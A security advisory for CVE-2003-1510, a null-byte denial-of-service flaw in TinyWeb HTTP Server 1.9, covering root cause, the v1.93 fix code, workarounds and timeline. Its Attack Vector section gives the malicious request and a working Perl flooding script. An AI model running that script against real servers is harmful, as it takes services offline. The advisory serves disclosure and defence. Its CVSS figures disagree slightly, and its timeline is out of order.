TinyWeb Denial of Service via Null Byte in cgi-bin Request (CVE-2003-1510)
Security Advisory. Issue identified: 2003-10-10. Fixed in TinyWeb v1.93 (June 3, 2004).
Summary
TinyWeb HTTP Server version 1.9 is vulnerable to denial of service via null byte injection. An
unauthenticated remote attacker can cause excessive CPU consumption by sending a crafted HTTP GET request
containing .%00. in the path to the cgi-bin directory.
Severity: High (CVSS 3.1 Base Score: 7.8 / CVSS 2.0 Base Score: 7.8)
Vulnerability Details
| CVE ID | CVE-2003-1510 |
|---|---|
| GHSA ID | GHSA-55m4-qh5j-9w5g |
| Vulnerability Type | Denial of Service / Null Byte Injection (CWE-400, CWE-158) |
| Attack Type | Remote |
| Attack Vector | Network (unauthenticated HTTP request) |
| Original Vendor | RITLABS S.R.L. |
| Current Maintainer | Maxim Masiutin |
| Product | TinyWeb HTTP Server |
| Affected Versions | 1.9 and below |
| Fixed Version | 1.93 (June 3, 2004) |
| Affected Component | HTTP request path handling in WebServerHttpResponse() |
| Impact | CPU Consumption, Denial of Service |
CVSS Scores
| CVSS Version | Score | Severity | Vector String |
|---|---|---|---|
| CVSS 3.1 | 7.5 | High | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CVSS 2.0 | 7.8 | High | AV:N/AC:L/Au:N/C:N/I:N/A:C |
| EPSS | 0.759% | 73rd percentile | Probability of exploitation in the wild within 30 days |
Background
TinyWeb HTTP Server was developed by RITLABS S.R.L. (Moldova) in 1997 as a minimal Windows HTTP server. It runs as a silent background process with no GUI, no console, and no Windows Service. The server is written in Object Pascal and compiles to a single ~60KB executable.
Null byte injection is a well-known attack class (CWE-158) that exploits differences in how programming
languages handle the null character (0x00). In C-based APIs (including the Windows API), null
terminates strings. In Pascal, strings are length-prefixed, so null bytes are valid data. When a Pascal string
containing a null byte is passed to a Windows API function like ExpandFileName() or
CreateFileA(), the API truncates the string at the null, causing the path to resolve differently
than the application expects.
In TinyWeb 1.9, the .%00. sequence in a cgi-bin path is URL-decoded to .\0. (dot,
null, dot). This confuses the path resolution logic, causing the server to enter a CPU-intensive loop trying
to resolve an ambiguous path. The Nessus scanner (plugin #11894) could detect this vulnerability remotely via
banner checking.
Technical Details
Root Cause
When TinyWeb receives GET /cgi-bin/.%00./dddd.html, the URL-decoded path contains a null byte
between two dots. The null byte causes Windows path resolution APIs to interpret the path differently than
TinyWeb's Pascal string handling expects, resulting in a path that cannot be resolved normally. The server
enters a CPU-consuming state trying to process the malformed path.
Attack Vector
GET /cgi-bin/.%00./dddd.html HTTP/1.0
A single request causes CPU consumption. The published Perl exploit (Exploit-DB #782) sends 10,000 such requests in a loop to fully exhaust server resources:
#!/usr/bin/perl
# TinyWeb 1.9 DoS - by karak0rsan
use IO::Socket;
for ($i = 0; $i < 10000; $i++) {
$sock = IO::Socket::INET->new(
PeerAddr => $ARGV[0], PeerPort => '80', Proto => 'tcp');
print $sock "GET /cgi-bin/.%00./dddd.html HTTP/1.0\r\n\r\n";
close($sock);
}
Impact
- CPU Exhaustion: Each malformed request consumes CPU time; repeated requests render the server unresponsive
- Service Unavailability: Legitimate users cannot access the web server during the attack
- No Authentication Required: Any network-reachable attacker can trigger the condition
Fix Applied in Version 1.93
TinyWeb v1.93 (June 3, 2004) added a null byte check in the path validation logic of
WebServerHttpResponse() in SrvMain.pas. Any request containing a null byte
(#0) in the path is immediately rejected with HTTP 403 Forbidden, before any path resolution
occurs:
CZero := #0; if (Pos(CZero, s) > 0) or (Pos(CDoubleDot, s) > 0) or (Pos(CSemicolon, s) > 0) or (Pos(CDotEncosed, s) > 0) or (Pos(CDoubleBackslash, s) > 0) then begin Result := THttpResponseErrorCode.Create(403); Exit; end;
The null byte check was added alongside the \.\ pattern check that fixes CVE-2004-2636 (path traversal). Both fixes share the same validation
block.
Additionally, FileIsRegular() provides a second layer of defense by opening the file via
CreateFileA() and calling GetFileType() to verify it is a regular disk file
(FILE_TYPE_DISK). Paths truncated by null bytes would resolve to unexpected filesystem objects,
which this check rejects.
Workarounds
- Place TinyWeb behind a reverse proxy (nginx, Apache, IIS ARR) that rejects null bytes in URLs. Most
reverse proxies reject
%00by default. - WAF rule to block requests containing
%00in URL paths. - No TinyWeb configuration option exists to mitigate without upgrading.
Timeline
| 2003-09-10 | Vulnerability discovered and reported by Ziv Kamir (SecuriTeam advisory) |
|---|---|
| 2003-10-10 | Vulnerability published (BID 8810) |
| 2003-10-16 | Nessus plugin #11894 published for remote detection |
| 2004-06-03 | TinyWeb v1.93 released by RITLABS (Maxim Masiutin) with fix |
| 2003-12-31 | CVE-2003-1510 assigned by MITRE |
| 2005-02-01 | Exploit published by karak0rsan (Exploit-DB #782) |
References
- NVD: CVE-2003-1510
- MITRE: CVE-2003-1510
- GitHub Advisory: GHSA-55m4-qh5j-9w5g
- IBM X-Force: 13402
- SecuriTeam Advisory (original disclosure by Ziv Kamir)
- BID 8810
- Exploit-DB: 782
- Nessus Plugin: 11894
- TinyWeb Latest Release
- TinyWeb GitHub Repository
- CWE-400: Uncontrolled Resource Consumption
- CWE-158: Improper Neutralization of Null Byte
Credit
Vulnerability Discovery: Ziv Kamir (October 2003). Published on Beyond Security SecuriTeam on September 10, 2003.
Exploit Author: karak0rsan (Exploit-DB #782, February 1, 2005).
Fix Implementation: RITLABS S.R.L. (Maxim Masiutin). TinyWeb v1.93 released June 3, 2004.
Other TinyWeb CVEs
| CVE-2024-5193 | CRLF Injection (CWE-93) - Fixed in v1.99. HTTP header injection via %0D%0A. CVSS 5.0 Medium. Advisory |
|---|---|
| CVE-2024-34199 | Buffer Overflow (CWE-787) - Fixed in v1.99. Unbounded heap growth causes DoS. CVSS 8.6 High. Advisory |
| CVE-2026-22781 | Command Injection (CWE-78) - Fixed in v1.98. CGI query parameter injection. CVSS 9.8 Critical. Advisory |
| CVE-2004-2636 | Path Traversal (CWE-22) - Fixed in v1.93. Source code disclosure via /./ in URLs. CVSS 5.0 Medium. Advisory |